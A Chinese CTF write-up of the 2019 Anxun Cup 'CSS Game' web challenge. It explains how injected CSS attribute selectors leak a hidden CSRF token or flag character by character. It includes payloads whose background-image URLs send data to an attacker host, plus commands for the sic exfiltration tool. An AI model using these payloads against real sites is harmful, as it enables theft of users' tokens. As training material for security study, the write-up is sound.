CSS Game

发表于 2021-01-16 分类于 Challenge， 2019， 安洵杯， Web
Challenge | 2019 | 安洵杯 | Web | CSS Game

点击此处获得更好的阅读体验

WriteUp来源

https://xz.aliyun.com/t/6911

题目考点

- *CSS注入*

解题思路

能HTML注入，不能XSS(或者被dompurity时)，可造成窃取CSRF Token的目的。

通过CSS选择器匹配到CSRF token，接着使用可以发送数据包的属性将数据带出，例如：

```
input[name=csrf][value^=ca]{
  background-image: url([https://xxx.com/ca](https://xxx.com/ca));
}
```

过程中有几个问题：

一般CSRF Token的type都为hidden，会有不加载background-image属性的情况(本地测试是最新版FIrefox不加载，Chrome加载)

解决该问题的办法是使用~兄弟选择器(选择和其后具有相同父元素的元素)，加载相邻属性的background-image，达到将数据带出的目的。

赛题源码：

```
<html>
    <link rel="stylesheet" href="${encodeURI(req.query.css)}" />
     <form>
        <input name="Email" type="text" value="test">
        <input name="flag" type="hidden" value="b02cb962ac59075b964b07152d234b70"/>
        <input type="submit" value="提交">
    </form>
</html>
```

poc: 通过注入CSS，动态猜解每一个flag字符,同时在服务端监听：

```
input[name=flag][value^="b"] ~ * {
background-image: url("http://x.x.x.x/b");
}
```

通过上述手段只能CSRF Token的部分数据，那我们该如何获得全部数据呢？

poc：https://gist.github.com/d0mutptr/928301bde1d2aa761d1632628ee8f24e

通过不断创建iframe，动态猜解每一位csrf token

当然这需要目标站点x-frame-options未被禁用，当然本题并未限制此方法

那iframe被禁用了，还有办法注入吗？参考这篇文章所述：https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b

提供了一个工具，使得可以通过import CSS来获得token：https://github.com/d0mutptr/sic

安装好环境, 起一个窃取CSS模板文件：
template

```
input[name=flag][value^="{% raw %}{{{% endraw %}:token:}}"] ~ * { background-image: url("{% raw %}{{{% endraw %}:callback:}}"); }
```

运行服务：

```
./sic -p 3000 --ph "[http://127.0.0.1:3000](http://127.0.0.1:3000)" --ch "[http://127.0.0.1:3001](http://127.0.0.1:3001)" -t template
```

attack:

```
[http://127.0.0.1:60000/flag.html?css=http://127.0.0.1:3000/staging?len=32](http://127.0.0.1:60000/flag.html?css=http://127.0.0.1:3000/staging?len=32)
```


 # Challenge # Web # 2019 # 安洵杯
iamthinking
吹着贝斯扫二维码